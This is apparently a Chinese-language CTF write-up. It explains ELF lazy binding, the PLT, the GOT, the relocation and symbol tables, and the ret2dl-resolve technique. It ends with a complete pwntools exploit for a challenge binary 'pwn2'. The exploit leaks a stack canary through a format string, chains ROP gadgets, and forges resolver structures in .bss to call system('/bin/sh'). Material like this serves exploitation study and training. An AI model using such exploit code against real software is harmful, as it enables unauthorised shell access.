一是做个总结,二是做个备份。上篇文章感谢@大米指出的错误,格式化字符串漏洞还未销声匿迹!!!
0x01 背景知识
在学习之前先了解一下其中必须知道的背景知识,包括动态链接、延时绑定、Global Offset Table、rel_offset等。
动态链接
《 程序员的自我修养 》,力荐此书!!有更好的欢迎分享。
下图是 ELF 的装载过程。
这篇文章主要关注的是动态链接器中的延时绑定,这是动态链接器中的一部分。
没找到上两张图的出处,望告知。再看看 .interp 这个 section 中的数据:
延时绑定
延时绑定的原理大概就是这样,等到需要用到则个函数的时候才去绑定再使用,不用则不绑定,绑定完之后下次调用就直接进入函数,不需要再次绑定。一次绑定,终生收益。绑定的实现大概是这样的:
call read@plt
jmp *(read@.got.plt) ----+
push rel_offset <----+
push link_map
jmp __dl_runtime_resolve
read_function()
就是相当于执行函数 __dl_runtime_resolve(link_map, rel_offset)
。这个函数的作用:
- 修改
read@.got.plt
的值使其指向read()
函数。 - ret 到
read()
函数。 - 调整栈
在程序调用库函数时其实是进入了 .plt
的 section 中,每一种需要被重定位的函数都有它私有的 PLT ,反汇编一看:
修改了 read@.got.plt
使其指向 read function
,这样下次 call read
的时候就直接 jmp 到了 read()
函数了。
流程图如下(图出自《动态链接库中函数的地址确定--- PLT 和 GOT 》 ):
第一次调用:
第二次调用:
Global Offset Table
需要重定位的函数和变量都放在 .got(Global Offset Table)
中。 .got
分为两种: .got
放全局变量, .got.plt
放函数。.got.plt
前三项有点特别:
第一项指向 .dynamic
的地址。 .dynamic
的 section 是专门用于动态链接的。保存了动态链接器所需要的基本信息。依赖哪些共享对象,动态链接符号表的位置,动态链接重定位表的位置等等。是一个结构数组。
使用 readelf -d 查看 .dynamic
的 section 中的内容:
再用 readelf -S hello 找到 .dynamic
的地址,用 gdb 查看一下( Tag 和 Value 都是一一对应的):
查看 elf.h :
https://sourceware.org/git/?p=glibc.git;a=blob_plain;f=elf/elf.h
的定义,发现是一个 tag 加上一个数值或者是指针:
第二项是 Module ID "Lib.so"
这个其实就是 __dl_runtime_resolve( link_map, rel_offset )
中的 link_map
,它是一个将有引用到的 library 所串成的 linked list。
第三项是 __dl_runtime_resolve( link_map, rel_offset )
这个函数的地址。
第四项就是 function@.got.plt
,就是上图中的 GOT[n] ,调用 __dl_runtime_resolve( link_map, rel_offset )
后使其指向各自的函数。
其中第二项和第三项由动态链接器在装载共享模块的时候将他们初始化。对比一下上图中的反汇编 .plt
的 section 中的代码就是先 push n
,然后把 .got.plt
第二项 push
进去,然后 jmp
第三项。完成 __dl_runtime_resolve( link_map, rel_offset )
。
rel_offset
观察一下上图中反汇编的代码,发现相邻的两个需要重定位的函数的 rel_offset
都是相差 8 。现在问题来了,现在手里面有一个可用的 library 的 list ,一个 rel_offset ,__dl_runtime_resolve()
是怎么知道要绑定哪个函数,修改的 .got.plt
的 section的位置又是哪里?
先了解 .dynamic
中的三个 d_tag (可以参考上图 d_tag 的定义),对应这三个节区:
rel.plt
先看看 rel.plt
节区,上面是变量,下面是函数,:
offset 就是需要修改的 .got.plt 的地址,在内存中查看一下,发现就只有两个数值对应上图的5个类型:
在看下它的定义:
这个结构也是 8 个字节。其实 rel_offset 即为需要重定位的函数在 rel.plt
节中的节偏移。r_info 这个结构是两个参数合在一起的。其中 Type 是 ( r_info && 0xff )
,另外一个参数就是 ( r_info >> 8 )Sym.Value
和 Sym.Name
是通过 dynsym 节区找到的。
dynsym
再看 .dynsym
这个节区的内容,照例查看它的内存:
发现还是看不懂,还是配合定义来看,这是一个 16 字节的结构,可以阅读参考资料_符号表节:
其实 .dynsym 里面的大概是这样的:struct Elf32_Sym a[n];
其中 n 是 (r_info >> 8)
。
dynstr
这里的 st_name 存放的又是 .dynstr 中的节偏移,验证一下:
结构总结
其实就是一个个结构数组。一图解千言:
__dl_runtime_resolve(link_map, rel_offset)
是用汇编写的。调用了 __dl_fixup()
,参数由寄存器传递。那里用 reloc_arg 替代了 rel_offset ,可以通过 apt-get source libc6-dev
下载源码,打开 elf 文件夹下的 dl-runtime.c
即可:
#ifndef reloc_offset
#define reloc_offset reloc_arg
#define reloc_index reloc_arg / sizeof (PLTREL)
#endif
阅读源码对我来说很困难,所以这里抄袭了 7o8v 大佬文章里面的图:
0x02 思路
多数动态装载器实现不去检查重定位表的边界!!!所以我们在高地址处伪造 data 就可以。而程序的可读写段在更高的地址,所以我们只要在那伪造 data 就可以了,一般在 .bss
的 section 伪造。
1、控制 EIP 写入伪造的数据
2、控制 EIP 到dl_resolve
- 伪造 rel_off 和 link_map
- 其实只要跳到 PLT[0] ,这样伪造 rel_off 即可
3、在栈上构造函数参数执行即可。
0x03 EXP(PWN2)
借用 7o8v 所说的 pwn2 进行示例,题目链接如下:
http://pan.baidu.com/s/1miT1kPM 密码:hwt3
感谢 7o8v 大佬对我的指导以及帮助,exp 如下:
!/usr/bin/env python
from pwn import *
SETTING--------------------------------------------
EXCV = './pwn2'
context(log_level='debug')
e = ELF(EXCV)
io = process(EXCV)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
---------------------------------------------------
dynsym = 0x080481dc
dynstr = 0x0804833c
rel_plt = 0x080484a0
setbuf_got = e.got['setbuf']
setbuf_plt = e.plt['setbuf']
data = 0x0804a060
base = data + 0x200
rel_off = base - rel_plt
fake_sym_addr = base + 8
index = ( fake_sym_addr - dynsym + 0x4 ) / 0x10
r_info = ( index << 8 ) | 7
fake_str_addr = base + 0x20
st_name = fake_str_addr - dynstr -0x4
plt_0 = 0x08048550
wri_plt = e.plt['write']
rd_plt = e.plt['read']
ppp_ret = 0x80489dd
pop_ebp = 0x80487f8
lev_ret = 0x804889e
start = 0x08048670
binsh = 0x804a284
link_map = 0x804a004
get linkmap address
io.recv()
io.sendline('Y')
io.recv()
io.sendline('%1110p%1210p')
io.recvuntil('[*] Welcome to the game ')
canary = eval(io.recv(10))
payload = 'AAAA' * 4
payload += p32(canary)
payload += 'AAAA' * 3
payload += p32(wri_plt)
payload += p32(ppp_ret)
payload += p32(1)
payload += p32(link_map)
payload += p32(0x4)
payload += p32(start)
io.send(payload)
io.recvuntil('[*] Input Your Id:\n')
link_map_addr = u32(io.recv(4))
link_map_addr += 0xe4
print link_map_addr
write link_map+0xe4 into NULL
io.recv()
io.sendline('Y')
io.recv()
io.sendline('%1110p%1210p')
io.recvuntil('[*] Welcome to the game ')
canary = eval(io.recv(10))
payload = 'AAAA' * 4
payload += p32(canary)
payload += 'AAAA' * 3
payload += p32(rd_plt)
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(link_map_addr)
payload += p32(0x4)
payload += p32(start)
io.send(payload)
sleep(1)
io.send(p32(0))
io.recv()
write fake_data into .bss+0x200
io.sendline('Y')
io.sendline('%1110p%1210p')
io.recvuntil('[*] Welcome to the game ')
canary = eval(io.recv(10))
payload = 'AAAA' * 4
payload += p32(canary)
payload += 'AAAA' * 3
payload += p32(rd_plt)
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base)
payload += p32(0x1000)
payload += p32(pop_ebp)
payload += p32(base)
payload += p32(start)
io.send(payload)
io.recv()
sleep(1)
payload = p32(base)
payload += p32(r_info)
payload += p32(data)
payload += p32(st_name)
payload += p32(0)
payload += p32(0)
payload += p32(0x12)
payload += 'system\x00\x00'
payload += '/bin/sh\x00'
payload += 'END'
io.send(payload)
io.recv()
ret2dl-runtime
io.sendline('Y')
io.sendline('%1110p%1210p')
io.recvuntil('[*] Welcome to the game ')
canary = eval(io.recv(10))
payload = 'AAAA' * 4
payload += p32(canary)
payload += 'AAAA' * 3
payload += p32(plt_0)
payload += p32(rel_off)
payload += p32(start)
payload += p32(binsh)
payload += p32(0x1000)
payload += p32(pop_ebp)
payload += p32(base)
payload += p32(start)
io.send(payload)
io.interactive()
前面两个 payload 是向 link_map+0xe4
这个地址写 NUll 。一般是 64 位的 ret2resolve 碰到的问题,没想到我人品好碰到了!!!原因是伪造的 symbol
的 index 过大,使得 vernum[ELFW(R_SYM) (reloc->r_info)]
读取越界。为了绕过这部分,roputils
选择的方法便是令 l->l_info[VERSYMIDX (DT_VERSYM)] == NULL
。查看这段代码:
/* Look up the target symbol. If the normal lookup rules are not used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
只要将 l->l_info[VERSYMIDX (DT_VERSYM)]
的地址位改为 NULL
就可以跳过这个引发错误的地方。参考资料上说的是 64 位的位于 link_map+0x1c8 ,反汇编 pwn2 如下:
edi 此时保存的是 link_map
的地址,我机器上则是在 link_map+0xe4
,没有验证是否可以应用到所有 32 位机器上。跳过这段代码主要是修改 _dl_lookup_symbol_x()
函数的参数,部分传参使用了寄存器,修改的参数大概是 const struct r_found_version *version
,版本符号( symbol versioning )。应该是关于 glibc 的兼容性。搞懂一个问题,又蹦出几个问题,故就此作罢,留个坑。可以参考链接:摧毁圣诞。
本人水平有限,如有错误或疑问,欢迎指正讨论。
参考:
- 符号表节:
https://docs.oracle.com/cd/E26926_01/html/E25910/chapter6-79797.html#scrolltoc
- 7o8v-ret2resolve:
http://www.reversing.win/2017/08/29/%E4%BA%8C%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-ret2resolve/
- ROP之return to dl-resolve:
http://rk700.github.io/2015/08/09/return-to-dl-resolve/
- ELF如何摧毁圣诞--通过ELF动态装载机制进行漏洞利用:
http://www.inforsec.org/wp/?p=389
- 动态链接:
https://ctf-wiki.github.io/ctf-wiki/executable/elf/program_linking.html#id3
楼主残忍的关闭了评论